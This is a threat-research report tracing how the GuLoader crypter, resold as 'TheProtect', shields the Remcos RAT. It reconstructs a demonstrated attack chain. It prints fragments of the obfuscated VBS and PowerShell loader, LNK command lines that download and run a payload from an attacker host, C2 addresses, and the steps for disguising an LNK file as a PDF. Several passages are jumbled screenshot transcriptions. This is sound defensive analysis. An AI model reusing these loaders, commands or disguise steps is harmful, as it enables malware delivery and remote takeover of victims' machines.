Unveiling the Shadows: The Dark Alliance between GuLoader and Remcos

research.checkpoint.com/2023/unveiling-the-shadows-the-dark-alliance-between-guloader-and-remcos/

September 19, 2023





Research by: Alexey Bukhteyev, Arie Olshtein.

Introduction

In a recent disturbing development, software advertised as legitimate has become the weapon of choice for cybercriminals. Two notable examples of this behavior are the Remcos RAT (remote administration tool) and GuLoader (also known as CloudEyE Protector).

These programs, which are positioned as legitimate tools, are constantly used in attacks and occupy top positions in the most prevalent malware rankings. While the sellers state that these tools should only be employed lawfully, a deeper truth is that their primary customers are none other than cybercriminals.



May 2023's Most Wanted Malware: New Version of Guloader Delivers Encrypted **Cloud-Based Payloads**

SECURITY AUGUST 9, 2023

July 2023's Most Wanted Malware: Remote Access Trojan (RAT) Remcos Climbs to Third Place while Mobile...

Figure 1 - Remcos and GuLoader rankings in the Top 10 Wanted Malware

In our new study, we found a strong link between these dual-use agents. As Remcos is easily detected by antivirus solutions, it is difficult to use for criminal purposes. However, GuLoader can be used to help Remcos bypass anti-virus protection. During our research, we discovered that GuLoader is now sold under a new name on the same platform as Remcos and is implicitly promoted as a crypter that makes its payload fully undetectable by antiviruses (FUD). In addition, the administrator who oversees this platform also manages the BreakingSecurity website, which is the official website of Remcos RAT and related Telegram channels. We found evidence that the individual behind the Remcos and GuLoader sales personally uses malware such as Amadey and Formbook, and also uses GuLoader as protection against antivirus detection. Domain names and IP addresses associated with the Remcos and GuLoader seller appear in malware analyst reports.

These revelations lead us to the conclusion that the sellers of Remcos and GuLoader are clearly aware that their tools are embraced by cybercriminals, despite their protestations of innocence. Our investigation culminates in the exposure of the individual responsible for selling Remcos and GuLoader, unveiling their social networks and shedding light on the substantial monthly income generated through these illicit activities.

GuLoader & Remcos

More than three years since it first appeared, GuLoader continues to pose problems for both regular users and antivirus software developers. It is worth recalling that GuLoader is a highly protected shellcode-based loader that employs numerous techniques to prevent both manual and automated analysis. In addition, in recent samples, a multi-stage loading of code fragments from remote servers is utilized through the use of .LNK files, VBS, and PowerShell scripts. The combination of these techniques allows GuLoader samples to achieve a zero-detection rate on VirusTotal and deliver any malicious payload onto the victim's computer.

In 2020, we <u>exposed an Italian company</u> that was selling the CloudEyE product through the website **securitycode.eu** and revealed its direct affiliation with GuLoader. Our findings forced the creators of CloudEyE to temporarily suspend their operations. On their website, they posted a message saying that their service is designed to protect intellectual property, not to spread malware.

Pricing

Videos

Contact Client area

CloudEyE

06/10/2020 : SERVICE SUSPENSION

We learned from the press that unsuspecting users would use our platform to perpetrate abuses of all kinds. Our protection software was created and developed to protect intellectual works from the abuse of hackers and their affiliates, not to sow malware around the network. Although we are not sure that what is reported by the media is true, we believe it appropriate to suspend our service indefinitely. We are two young entrepreneurs, passionate about IT security and our goal is to enrich the scientific community with our services, not to allow a distorted use of our intellectual work. We thank all our customers, who have legally used our services since 2015. Customers will be reimbursed for purchased and unused license days. For more information contact us by e-mail info@securitycode.eu, you will receive an answer within 24 hours.

> Sebastiano Dragna Ivano Mancini

Figure 2 – Official statement about CloudEyE suspension on the securitycode.eu website.

After a few months passed, their website resumed the sale of CloudEyE. Soon afterwards, we observed an increase in the number of new GuLoader attacks in our telemetry, as well as the appearance of new versions. Currently, we monitor dozens of new GuLoader samples on a daily basis.



Figure 3 - Number of attacks involving GuLoader per day in the last 6 months.

In our previous <u>article about the latest versions of GuLoader</u>, we purposefully omitted any connection between CloudEyE and the new version of GuLoader because we observed the distribution of GuLoader under an alternative name "**The Protector**" on the website named "**VgoStore**." VgoStore, as it turns out, is closely related to Remcos.

Remcos is a well-known remote surveillance tool, marketed for supposedly legitimate tracking and monitoring purposes. Since its appearance in 2016, we have been monitoring Remcos in many phishing campaigns. In addition to its typical remote administration tool features, Remcos includes uncommon functionalities such as man-in-the-middle (MITM) capabilities, password stealing, tracking browser history, stealing cookies, keylogging, and webcam control. These features go beyond the typical scope of a RAT and suggest a more intrusive and malicious intent.

The start of our investigation

After the disappearance of CloudEyE ads on hacker forums, we began to look for any mention of CloudEyE Protector on the Internet. On the first page of the Google search results we found a link to the Utopia project website, where CloudEyE Protector is listed in the "Merchants" section right after BreakingSecurity – the official website of the **Remcos RAT**:



Figure 4 - BreakingSecurity and CloudEyE advertisements on the Utopia website.

We also paid attention to the fact that in 2022-2023, the number of Remcos samples amounted to almost a quarter of all successfully decrypted GuLoader payloads for which we were able to identify a malware family.



Figure 5 - Identified GuLoader payloads.

In other words, in the past year Remcos has become the most common malware distributed using GuLoader. As we will show, this is not a coincidence.

VGO TheProtect - the new brand for GuLoader

The marketing and sales of Remcos were first conducted on hacking forums and later sold on a dedicated website called **BreakingSecurity[.]net**. Starting in 2022, it became possible to find Remcos sales on another website called **VgoStore[.]net**. VgoStore is advertised as an official reseller of Remcos in the **@BreakingSecurity_Group** Telegram group, which is run by the moderator nicknamed "**EMIN3M**" (usernames @breakindsecurity, @emin3m, @Break1ngSecuri1ty):



BreakingSecurity.net 499 members, 45 online

52=

Pinned Message #17

Note that Support/Bug Reports/Change licenses...

- EMINəM 📔 🛛 August 30
- Moderator

Deleted Account

It's for testing purpose

Note that Support/Bug Reports/ Change licenses Requests/ Activation...etc must be in tickets from your paid account @ the website ~~>

Login to your account, go to client area, support and post a ticket with full details and wait for our team reply the ticket (As mentioned @ our TOS we reply tickets in 24 hours maximum & usually it's way less time)

If You Bought from our only authorized official Reseller <u>VgoStore.net</u> You Can Simply Request support from @vgostore or at their tickets system too they got the same rules of responding time as well as TOS.

Best Regards,

6



At VgoStore, in addition to BreackingSecurity's Remcos, you can also find a full package for malicious distribution and initial access tool kits, such as "Excel and Doc Exploit", LNK Exploit, RDP accounts, private DNS, crypters, and so on. Such tools are marked as "educational."

edited 01:05

Among these tools, our attention was drawn to TheProtect (Private Protecting Service):



Figure 7 - TheProtect is one of the tools sold on the VgoStore website.

In addition to the <u>@BreakingSecurity_Group</u> Telegram group, EMIN₃M also maintains a Telegram group for VgoStore called @VgoStore Group. In those groups, EMINoM and another administrator "VGO" pushed TheProtect whenever users asked for a crypting service. It is also worth noting that in one message TheProtect is mentioned by EMIN3M as a tool that helps Remcos bypass Windows Defender (WD):



Figure 8 – TheProtect is advertised in BreakingSecurity and VgoStore Telegram groups.

At the same time, in the BreakingSecurity Telegram group, administrators seemingly try to distance themselves from malicious activity, saying that they only provide a way to whitelist Remcos for antivirus, but not bypass the protection. As opposed to the VgoStore group, where TheProtect is advertised as a service that provides "runtime FUD" (that is, completely undetectable by antiviruses when sample is executed):



Figure 9 – Messages posted by VGO and EMINoM in BreakingSecurity and VgoStore Telegram groups.

TheProtect has two protection methods: Private Protect and Script Protect:



Figure 10 – TheProtect protection methods.

According to the VgoStore website, the provided file for the Script Protect is VBS instead of an EXE file.

The term "Private Protect" can be misleading, as it may give the impression that each customer receives a unique tool. However, upon further examination of the videos in VgoStore's Telegram group and YouTube channel, it becomes apparent that there are two types of encryption services are available: one based on NSIS (Nullsoft Scriptable Install System), and another based on VBS (Visual Basic Scripting).

This struck us as suspiciously similar to the most common GuLoader variants, one of which is a VBS variant and the second one is an NSIS variant.

We should note that Script Protect is extremely expensive. It is sold at \$7000 for 4 protected files in the 30-day period. For both Script Protect and Private protect, they state "We reserve 3 days max to provide the protected software." This made us think that the protection process is not fully automated. This means that buyers likely do not receive the builder that automatically produces protected files, as was done in the case of CloudEyE.

TheProtect VBS variant

As we wrote previously, VgoStore has a Telegram group <u>@VgoStore_Group</u>where product updates are published, and clients can get support. In this group, administrators often post videos demonstrating their product features.



Figure 11 – VgoStore Telegram group.

In one of the videos (<u>https://t.me/VgoStore_Group/13729</u>) published in this group on March 5, 2023, by the user **@VgoStore**, they demonstrate an attack using an LNK file disguised as a PDF.



Figure 12 - Video published in the VgoStore Telegram group.

In this video, we see how clicking on an LNK file causes the new process "eilowutil.exe" to initiate a TCP connection with the remote server "84.21.172.49:1040". Before launching the LNK file, the video shows that all Windows Defender features are enabled, and Windows Defender did not raise any alerts throughout the execution.

The video provided significant details about the sample being tested, which allowed us to restore the complete attack chain. At the 01:13 mark, we can briefly see the command line of the **powershell.exe** process displayed by Process Hacker. This allowed us to identify the sample demonstrated in this video (SHA256: c914dab00f2b1d63c50eb217eeb29bcd5fe20b4e61538b0d9d052ff1b746fd73) and find it on VirusTotal using behavior search query:

Process Hacker [ADMINISTRATOR	R\acc4v] (Administrator)	- 0 >	< ←		
Hacker View Tools Users Help				24 security vendors and 1 sandbox flagged this file as malicious	
Processes Services Network				24	
Name	PID CPU I/Ot	otal Private b User name		7.58 c914dab00f2b1d63c50eb217eeb29bcd5fe20b4e61538b0d9d052f1b746fd73	
Secure System	60	184 kB NT AUTHORITY\SYSTEM		Leekish.vbs	
Registry	96	8.3 MB NT AUTHORITY\SYSTEM		text runtime-modules detect-debus-environment iong-sleeps direct-cpu-clock-access macro-powershell persir	stence
CSTSS.exe	544	2.02 MB NT AUTHOR/TY\SYSTEM			
> 🔳 wininit.exe	616	1.52 MB NT AUTHORITY\SYSTEM	× C O	c Community Score	
CSrss.exe	632 0.17	1.99 MB NT AUTHORITY\SYSTEM		2	
> 💽 winlogon.exe	708	2.41 MB NT AUTHORITY\SYSTEM	0.0		
w explorer.exe	4360 0.12	120.6 MR ADMINISTRATOR acche	Size DurEAttuEnceNateW	DETECTION DETAILS RELATIONS BEHAVIOR TELEMETRY COMMUNITY 9	
Security	Und AlmSBireratlUnsvTop	pmTiloplurDandRussEurfEseoDanrGogsEaggTele	oInHareVal0Hew Dag(I		
mt Ree Usp Mta S	InpRedaAntrCecagumm	Rum(hub[SamSDistoghrStriCrenUnrgPer]Bri <fik< td=""><td>HSpioReloFrnkSjoaeksrC</td><td>Network Communication ^</td><td></td></fik<>	HSpioReloFrnkSjoaeksrC	Network Communication ^	
Processi onoUmbolntnSu	c)Adn;Ort Bag Mor Smul	bro <romsgenlthaaerogbolrguleuncgklanotiec< td=""><td>onnDin Tan=Sky TopNAtoeA</td><td>HTTP Requests</td><td></td></romsgenlthaaerogbolrguleuncgklanotiec<>	onnDin Tan=Sky TopNAtoeA	HTTP Requests	
ocoAutnele.BraL	SyneUntnStagEnktProhSp	pr Men/Cal skv2Unk)Los; Tha Bin Sep Fid SpdFUd	oTrarMen(afs <irrbe< td=""><td>The requests</td><td></td></irrbe<>	The requests	
ureRotdStdsUnot	SamePaamEcodActrEnje	Uds=Bri0Woo;Yve Bem <gambtreeafsdlicstiltur< td=""><td>seQuamPoldSodrlieeBat I</td><td>+</td><td></td></gambtreeafsdlicstiltur<>	seQuamPoldSodrlieeBat I	+	
chron iseMaldIntsSoftT	r <beshtoeoenzoskukrim eaeObsmmntdTenrEpoel</beshtoeoenzoskukrim 	iaMatrHanoBeeoSecnEne.MatLLadeAtinBitgCret Jni+Ann=Fir2uIs)Cym/Tal Not Fie Kon Obi non D	TilhUlt;Bra Eff< TumBH uo Ret End< DobsClalE	+ @ http://geoplugin.net/json.gp	
C chron ftaSpegSarrArcel	JprgKilnHaaeAutnCod[vii	n <ortbskieenhdtukscontlcheconmmiddmanta< td=""><td>leOrt/Sto2Sph]Hal no</td><td></td><td></td></ortbskieenhdtukscontlcheconmmiddmanta<>	leOrt/Sto2Sph]Hal no		
C chror				Process and service actions O	
C:\Windows\S C:\Windows Powe	ystem.52\WindowsPower erShell 10.0.22621.1	Shell\v1.0\powershell.exe		Processo Tara	
C chror Microsoft Corp	poration			Processes rice	
C chror Notes:	A ME L			6452 - C:\Windows\System32\wscript.exe C:\Windows\System32W_Script.exe "C:\Users\user\Desktop\Leekish.vbs"	
Console host	conhost.exe (4124)			6580 - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "\$Tjringernes =	
C chror Process is man	aged (.NET).			***Diu,DyrFAttuEncnNatcWootLobiLsioReknUnd AlmSBireratlUnsvTopmTiloplurDandRussEurfEseoDanrGogsEaggTeleToInHareVal0Ho	leva
✓ 23 powershell. Se	8852	57.82 MB ADMINISTRATOR\acc4v		Dag(int Ree Usp Mta	
conhost.exe	4124	50 B/s 2.88 MB ADMINISTRATOR\acc4v		StnpRedaAntrCecagummRum(hub(SamSDistoghrStriCrenUnrgPer)Bri <fikhspiorelofmksjoaeksrconoumbointnsuc)adn;ort bag="" mor<="" td=""><td>я</td></fikhspiorelofmksjoaeksrconoumbointnsuc)adn;ort>	я
2 powershell.exe	864 45.55	116.17 MB ADMINISTRATOR\acc4v		Smu bro <romsgenithaaerogbolrguleuncgklanotieconndin tan="Sky" td="" topnatoeantwspi-foromodbrecjkloeheichegtshe<=""><td></td></romsgenithaaerogbolrguleuncgklanotieconndin>	
				FitDSveyWrldiseGen[Org]Sta Dds/Hib-StrHOproLatoFotKknuaParrTrroDocoAutnele BraLSyneUntnStagEnktProhSpr Men/Cal	
				skyzUnkiLos:Tha Bin Sep Fid SpdFUdsoTrarMen(ats <traseureroldstdsunotsamepaamecodactren)euds=bri0woo;yve< td=""><td></td></traseureroldstdsunotsamepaamecodactren)euds=bri0woo;yve<>	

Figure 13 - Process command line demonstrated on the video allowed us to find a related sample on VirusTotal.

When we downloaded the script, we found that it is similar to the VBS variant of GuLoader that we described in our article <u>Cloud-Based</u> <u>Malware Delivery: The Evolution of GuLoader</u>. The only difference with the version we described in our previous article is that the shellcode is embedded in the VBScript in the BASE64-encoded form and then placed into the registry: Ur7 = Ur7 & "cQGbcQGbu3qZGgBxAZtxAZsDXCQE6wLZ8HEBm71DuFJLcQGbcQGbgekhzoJP6wL2y+sCRz6Bwd4VMATrAnEwcQGb6wLqcnEBm7oV71ay6wIcEnEBm3 Ur7 = Ur7 & "fTrApFOMfZxAZtxAZsxyXEBm3EBm4sa6wKXK3EBm0FxAZvrAvF90RwKdfNxAZvrAqDuRnEBm+sCwE2AfAr7uHXd6wI6VesCpImLRAr86wKKJ3EBmyn Ur7 = Ur7 & "805kT2hSIBIngcenQ3++oYtPJ0Y+6HkXwPb5Br1m8Z7ofyi080b9WEf9nPkbLWED1Xge1T+KW3fVy521WVIHoQj5zFtMUNmB1vJdK1XNXA23mtmBz0 Ur7 = Ur7 & "F6tbvDm/x2KpuGWeLRxjuDj+hgpzFZsMMfCOLOzxfrnhCINc+A5DedxMk71bkVPK0w+KnQ4eRfg9vkGtObhnuZo12fkjuLcpytkqzwgLF4euQ7Lk4C Ur7 = Ur7 & "Omd3bVurIsY9rPX0h7+Bv0ksTHmg5mOogcaVxiwcjJCsocQ7kiChv0kvX/0k7mNogeUjgG041vi3FvZ1mE5wX/Qc5hQPgSVbonNw9CxFsHjBCfYa4f Ur7 = Ur7 & "qZdWAC09mmk8CrykXHK8X/LbkvbU5csfa7urR001wb/31mC0j7trjL1F2vJLm++8U8p03dm1wF7LEQKU0KNbm1PRdMn1GnS7Hb3/Tq/tDat40cbTsf Ur7 = Ur7 & "APnfSMJY5KyaDG8ZEbsvG040h2xcD2+SqQrmnIIPbx1nm7gY7g7VJ0qqwk1WKY/0ESPNIBEMWv43aj00jHHTt2cWAJyqTsfVefH7iWL05hm2WNFn0I Ur7 = Ur7 & "kC5pyeD28ZImM4uF0/FYdizG7H1D2d16005FyqwgEG8ITXCIT9AelifG/vDEIvT1Bpvy49j5ntk9fJmBjkYxS2j6mesRK9S3KHjRjcklfSlAwWfW00 Ur7 = Ur7 & "X5iCCMIGJCgu0sft/Dceq9K+171fkVPJZ0DyqJPuYGYUFFimPgLfDKzxLcoeNGNSTV9iSBQX5iauBr+RA2QhQMWSJaZ6Wmu6Kp000uaqZEctgnIKBb

🖌 🚛 Computer	Name	Туре	Data
HKEY_CLASSES_ROOT HKEY_CURRENT_USER	ab (Default)	REG_SZ	(value not set)
AppEvents	Anfred	REG_32	CQGBCQGBU3qZGgBXAZBAZSDACQEBWLZ8HEBM/IDUFJLCQG
Console			
D - M Control Panel			
▲ - Lebarns			
	 	- sister :	

Figure 14 – BASE64-encoded encrypted data stored in the registry.

Another part of the VBScript contains a PowerShell script with two layers of obfuscation. The script contains the strings that were observed in the screenshot from the video, which were used to identify this malicious sample (*Tjringernes* =, Diu;DyrFAttuEncnNatcWootLobiLsioReknUnd):

<pre>He3 & "\$I]ringernes = uneupnonic_uneupnonic_uneupnonic_uuiu;uyrrattuenchy '</pre>	latcWootLobiLsioReknUnd AlmSBireratlUnsvTop
Me3 = Me3 & "EEyrBPro3OmnBSteóKipANym1resBPerARaiBDagDWilBNonEPasBTokóPreBMax7	/ExoARel00veBMed7SurATil1KarFUndETeeESkr2Fo
lFMasEIndEDom2KnuFFeaB <u>Bra'</u> Res;Psa&Occ(Bis <arbr<u>SpiaKopuPaggIndhMestAff7Exe)Kul</arbr<u>	Smo <falbemurneuekkkkkilkphaeaggrnon6fol3tr< td=""></falbemurneuekkkkkilkphaeaggrnon6fol3tr<>
y3Rad#Tal; <mark>Uneuphonic1Uneuphonic1Uneuphonic1</mark> ;Function <u>Brekker</u> 639 { param([S1	ring]\$Hookaroon);
<pre>temdre -lt \$Hookaroon.Length-1; \$Bedstemdre+=(3+1)){</pre>	+'tring'; \$Selvmordsforsgene = \$Selvmo
+rdsforsgene + \$Hookaroon.\$Gjaldendes.Invoke(\$Bedstemdre,"	
Me3 = Me3 & " 1); } \$Selvmordsforsgene;}\$Cranemen0 = Brekker639 'FarIFarEs	kaXFoy ';\$ <u>Cranemen</u> 1= <u>Brekker</u> 639
<pre>nes;\$Cranemen1=\$Cranemen1.replace('<','\$');\$Cranemen1=\$Cranemen1.replace('>','</pre>	
if([IntPtr]::size -eq 8){	1 ;}else{ & (\$ <u>Cranemen</u> 0) \$ <u>Cranemen</u> 1;}"
<pre>set Cockscombed190 = CreateObject("Wscript.Shell")</pre>	ofuscated PowerShell script
<pre>set Cockscombed190 = CreateObject("Wscript.Shell") TRIENNALERNETRUSSE = Command</pre>	fuscated PowerShell script
<pre>set Cockscombed190 = CreateObject("Wscript.Shell") TRIENNALERNETRUSSE = Command</pre>	stuscated PowerShell script
<pre>set Cockscombed190 = CreateObject("Wscript.Shell") TRIENNALERNETRUSSE = Command Cockscombed190.RegWrite "HKEY_CURRENT_USER\Enebarns\writhed\Anfred",Ur7, "REG_</pre>	stuscated PowerShell script
<pre>set Cockscombed190 = CreateObject("Wscript.Shell") TRIENNALERNETRUSSE = Command Cockscombed190.RegWrite "HKEY_CURRENT_USER\Enebarns\writhed\Anfred",Ur7, "REG_ Me3 = replace(Me3, "Uneuphonic1",chr(34))</pre>	sz" GuLoader base64-
<pre>set Cockscombed190 = CreateObject("Wscript.Shell") TRIENNALERNETRUSSE = Command Cockscombed190.RegWrite "HKEY_CURRENT_USER\Enebarns\writhed\Anfred",Ur7, "REG_Me3 = replace(Me3, "Uneuphonic1",chr(34))</pre>	sz" GuLoader base64- encoded shellcode
<pre>set Cockscombed190 = CreateObject("Wscript.Shell") TRIENNALERNETRUSSE = Command Cockscombed190.RegWrite "HKEY_CURRENT_USER\Enebarns\writhed\Anfred",Ur7, "REG Me3 = replace(Me3, "Uneuphonic1", chr(34)) Stratonicalsandsigernec = Stratonicalsandsigernec + 8350594</pre>	SZ" GuLoader base64- encoded shellcode
<pre>set Cockscombed190 = CreateObject("Wscript.Shell") TRIENNALERNETRUSSE = Command Cockscombed190.RegWrite "HKEY_CURRENT_USER\Enebarns\writhed\Anfred",Ur7, "REG_Me3 = replace(Me3, "Uneuphonic1",chr(34)) Stratonicalsandsigernec = Stratonicalsandsigernec + 8350594 Cockscombed190.Run "powershel" & a & ".exe " & chrW(34) & Me3 & chrW(34),0</pre>	SZ" GuLoader base64- encoded shellcode

After the deobfuscation, we got the following code:



Figure 16 - Deobfuscated PowerShell script.

This code loads base64-encoded data from the registry, decodes and runs it using the CallWindowProcA API function in the same way as described in the article Cloud-Based Malware Delivery: The Evolution of GuLoader. The first 645 bytes of this code are not encrypted and contain the code of the decrypter. The rest of the data contains the encrypted shellcode.

Our tools for automated analysis of malicious samples identified the encrypted data as GuLoader and successfully decrypted the shellcode, including the GuLoader configuration, the URL for downloading the payload, and the payload decryption key:

+ key	70dcdc1211a4bbf692489b195266e930c3111527567e4c6f02002907a10ed8eca590aadd3e987a69fd343065b10f33828eefa7f066a520f28b3413dc34939_
+ key_len	832
+ strings_key	8cfc152905288684c535d710634f63f6d480bf921860647182060acf2ee727b928437a9f2dc5bd9090cc66e564f9a6370cfe321b5e32f3
+ type	guloader
+ url_strings	["AcceTil194.180.48.211/nini/EAbsGhbSQL10.aca"]
+ urls	<pre>[{ "url": "http://194.180.48.211/nini/EAbsGhbSQL10.aca" }]</pre>

Figure 17 – Decrypted GuLoader configuration.

As of this writing, the URL "hxxp://194[.180.48.211/nini/EAbsGhbSQL10.aca" was still active. Therefore, we were able to download the final payload (SHA256 7bd663ea34e358050986bde528612039f476f3b315ee169c79359177a8d01e03). We used the key extracted from the GuLoader shellcode to decrypt it. The decrypted sample appeared to be the Remcos RAT with SHA256 25c45221a9475246e20845430bdd63b513a9a9a73ed447bd7935ff9ecee5a61e.



Figure 18 – Restored part of the GuLoader attack chain.

We extracted and decrypted the C&C configuration from this Remcos sample and found it contains an address of the C&C server **"84.21.172.49:1040**" that we previously saw in the video:

File details		
🖗 Details 🛛 🥊	Relations Q Preview	Static config remcos
Family	remcos	
+ raw_config	84.21.172.49:1040:1 Cry	
Figure 19 - Decrypte	ed Remcos C&C configura	ation.

Finally, using the VirusTotal Relations tab for the initially found GuLoader VBS sample "Leekish.vbs", we also discovered a URL from which the file was downloaded: "hxxp://194.180.48.211/nini/Leekish.vbs". This address was also revealed in the video at the 01:37 mark:

Process Hacke	r [ADMINISTRATOR\ac	c4v] (Adm	ninistrator)			- 0	×		1
Hacker View To	ools Users Help								
Processes Service	 Network 								
Name	Local address	Local	Remote address	Rem	Prot	State	Owr		
Waiting co	Administrator loca	50114	01 105 111 49	20	TCD	Time wait			
Waiting co	Administrator.loca	50112	01 106 111 40	00	TCP	Time wait			
Waiting co	102 160 150 126	50121	12 60 100 121	442	TCP	Time wait			
Waiting co	102 160 150 126	50110	52 152 00 172	445	TCD	Time wait			
Waiting co	102 160 150 126	50115	12 60 100 121	445	TCP	Time wait		~ (3
Waiting co	192.100.139.130	50110	12.60.109.131	445	TCP	Time wait			
Waiting co	Administrator.loca	50106	13.69.109.131	445	TCP	Time wait	· ·	Size	
Waiting co	Administrator.loca	50105	52 242 07 07	445	TCP	Time wait			
Waiting co	Administrator.loca	50103	9 252 204 120	445	TCP	Time wait			
Waiting co	Administrator.loca	50104	52 220 240 6	442	TCP	Time wait			3
Waiting co	Administrator.loca	50007	12,230,240,0	445	TCP	Time wait			1
waiting co	Administrator.loca	500067	13.09.109.131	445	TCP	Time wait			
waiting co	Administrator.loca	50005	52 242 07 07	443	TCP	Time wait			
waiting co	Administrator.loca	50004	52.242.97.97	443	TCP	Time wait			
waiting co	Administrator.loca	50125	52.238.248.0	443	TCP	Time wait			
C ielowutil.e	Administrator.loca	50125	1/8.237.33.50	80	TCP	Close wait			
elowutil.e	Administrator.loca	50123	194.180.48.211	08	TCP	Close wait			
SearchHos	Administrator.loca	49923	213.139.38.119	443	TCP	Close wait			
Centers (4)	Administrator.loca	50124	84.21.172.49	1040	TCP	Establish			
System (4)	::1	50122	:1	445	ICP6	Establish	·		
ITW Urls (1) 🛈									
Scanned	Detections		Status	\ ı	JRL				
2023-04-21	22 / 90		200		nttp://19	4,180,48,2	11/nini/Lee	kish.vbs	1
				Ľ.					J

Figure 20 – URL for downloading the initial VBS sample found on VirusTotal.

Another interesting social engineering trick demonstrated in the video (frame 00:45) is the manipulation of the LNK file to mislead the user into believing it is a PDF document. Even when the user hovers over the LNK file, the tooltip shows, "Type: PDF Document." In addition, if the user double-clicks on the LNK file, it actually opens a decoy PDF file, while the malicious process runs silently in the background.

This is accomplished through the following simple steps:

- 1. The file extension is changed to ".pdf.lnk", taking advantage of the file extensions hidden by default.
- 2. The LNK description is modified to display "PDF Document", exploiting the fact that Windows shows the contents of the shortcut Description field. Note that the size displayed in the tooltip differs from the actual file size. The tooltip shows "Size: 7.11Kb" which is taken from the Description field of the shortcut, while the file size is actually 3Kb.
- 3. The icon source is changed to show the PDF icon.
- 4. The LNK file also downloads and executes a decoy PDF file.

Contract_title.pdf	05/03/2023 2:48 PM	Shortcut	3 KB
ਲੇ Type: PDF Document Size: 7.11 KB Date modified: 14/02/2023 02:12			



We found an LNK file on VirusTotal (SHA256: 63559daa72c778e9657ca53e2a72deb541cdec3e0d36ecf04d15ddbf3786aea8) that refers to the mentioned URL and contains exactly the same Description field:

"command_line_arguments": "
n; Invoke-WebRequest http://0xC2.11808979/nini/Leekish.vbs -OutFile C:\\Windows\\Tasks\\Rspaliese.vbs; C:\\Windows\\Tasks\\Rspaliese.vbs;
Invoke-WebRequest http://oxC2.11808979/nini/info.pdf -OutFile C:\\Users\\Public\\details.pdf; C:\\Users\\Public\\details.pdf",
"description": "Type: PDF Document \nSize: 7.11 KB \nDate modified: 14/02/2023 02:12",
"icon_location": "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe"
"ENVIRONMENTAL_VARIABLES_LOCATION_BLOCK": (
"target_ansi": "\\\\localhost\\c\$\\Windows\\System32\\SyncAppvPublishingServer.vbs",
"target_unicode": "\\\\localhost\\c\$\\Windows\\System32\\SyncAppvPublishingServer.vbs"

Figure 22 – Parsed LNK file.

This malicious shortcut file utilizes the ability of the legitimate script **SyncAppvPublishingServer.vbs** that is present in Windows System32 folder to run arbitrary PowerShell commands. The command line arguments contain PowerShell commands to download and run the malicious script **"Leekish.vbs**" and a PDF decoy. The PDF icon from the **msedge.exe** file is used as the shortcut icon.

So, we have restored the complete attack chain demonstrated in the video and identified most of the files and components involved. The "script protected file" mentioned in the video appears to be the Remcos RAT with a C&C server at "**84.21.172.48:1040**". We identified the protector as the VBS version of GuLoader:



Figure 23 - Complete attack chain shown on the video from the VgoStore Telegram group.

This attack chain is similar to what we have already seen from previous attacks of GuLoader, as was also described in the RedCanary blog.

This VBS and the LNK samples are particularly intriguing because we came across them as part of an attack targeting CPAs and accountants during the US tax season in the past year (February 2023). The aforementioned indicators of compromise (IOCs) can be found listed in the <u>Securonix</u> and <u>Sophos blogs</u>.

TheProtect NSIS variant

VgoStore also has a YouTube channel (<u>https://www.youtube.com/@VgoStore</u>). The video "<u>Lnk Exploit</u>" published on April 12, 2023, is very similar to the video that we analyzed above. The presenter downloads an archive containing an LNK file and runs this LNK file. As shown on the video, at the same time, all recent Windows updates are installed, and security features are enabled. Just as in the previous case, if we stop the video at <u>2:11</u> we can see a command line of the **powershell.exe** process created as a result of running the LNK file.

📲 Process Hacker [ADMINISTRATOR\acc4v] (Administrator) — 🗆 🗙								
Hacker View T	ools Users <mark>He</mark> lp							
Processes Service	s Network							
Name	Local address	Local	Remote address	Rem	Prot	State	Owr	- u x
📀 chrome.ex	Administrator.loca	49929	sof04s06-in-f14.1e	443	TCP	Establish		
svchost.ex	Administrator.loca	49928	https-176.235.73.4	80	TCP	Establish	DoS	N Sort ∽ ≡ View ∽ ····
svchost.ex	Administrator.loca	49927	20.199.120.182	443	TCP	Establish	Wpr	
svchost.ex	Administrator.loca	49926	https-176.235.73.4	80	TCP	Establish	DoS [,]	
svchost.ex	Administrator.loca	49925	https-176.235.73.4	80	TCP	Establish	DoS	asters V C Search cybersecurity masters 🔎
svchost.ex	Administrator.loca	49924	a23-48-23-47.depl	80	TCP	Establish	DoS	
svchost.ex	Administrator.loca	49923	a23-48-23-47.depl	80	TCP	Establish	DoS	Date modified Type Size
svchost.ex	Administrator.loca	49922	a23-13-52-74.depl	443	TCP	Establish	DoS	
svchost.ex	Administrator.loca	49921	a23-13-52-74.depl	443	TCP	Establish	DoS	
🔀 powershell	Administrator.loca	49919	104.26.7.228	443	TCP	Establish		12/04/2023 1:49 AM Shortcut 3 KB
💹 powershell	Administrator loca	/0018	ec2-54-167-174-24	1/12	TCD	Ectablich		
svchost.ex	:\Windows\System32\\	MindowsH	owerShell\v1.0\powers	hell.exe"	-NonInt	eractive -Win	dowStyle entDirect	Hidden -Exe
svchost.ex rt-	module AppvClient: Sv	nc-Appv	ublishingServer n: Inv	oke-Web	Request	https://rebrai	nd.lv/n9h	uuth -O
svchost.ex C:	\Windows\Tasks\RecIte	r.com; C:	\Windows\Tasks\RecIte	r.com; n	voke-We	ebRequest htt	ps://rebr	and.ly/thc
svchost.ex th	68 - O C:\Users\Public\d	letailed.p	df; C:\Users\Public\det	ailed.pdf)				
svchost.ex	e: C:\Windows\System32	Window	PowerShell\v10\nowe	rchell eve				
Chrome.ex	Windows PowerShell 10	0.0.22621.	1	SHCILCAC				
E SearchHos	Microsoft Corporation							
SearchHos No	otes:							
SearchHos	Signer: Wilcrosoft Wind	ows exe (3300))					
StartMenu	Process is managed (.N	IET).						
-								

Figure 24 – Command line containing URLs.

The process command line in the screenshot above contains 2 URLs. As of this writing, both URLs were active, which allowed us to download the files.

URL	Target URL	SHA256	Description
https://rebrand[.ly/thctn68	https://img.softmedal[.com/uploads/2023-04- 12/801271453672.jpg	d2523a35267c9417969a880aa822b9d6 af85e46e83b143979a177a292f347fb6	Decoy PDF
https://rebrand[.ly/n9huuth	https://img.softmedal[.com/uploads/2023-04- 12/140562263496.jpg	f9edc031e26e9d37e740acfd3739cc3f 0a442bb14ec34d9b2ddbf79db56e073f	GuLoader NSIS variant

One of the samples is a decoy PDF, the second one is an NSIS installer package.

1	① 1 security vendor and 1 sandbox flagged this file as malicious	C Reanalyze $\underline{\vee}$ Download - \equiv Similar - More -				
7 66	f9edc031e26e9d37e740acfd3739cc3f0a442bb14ec34d9b2ddbf79db56e073f Sinsring Lnningsraadenes.exe peexe detect-debug-environment runtme-modules direct-cpu-clock-access overlay	Size Last Analysis Date 9.88 MB 14 days ago				
Community Score						
Crowdsourced YARA ru	ales O	^				
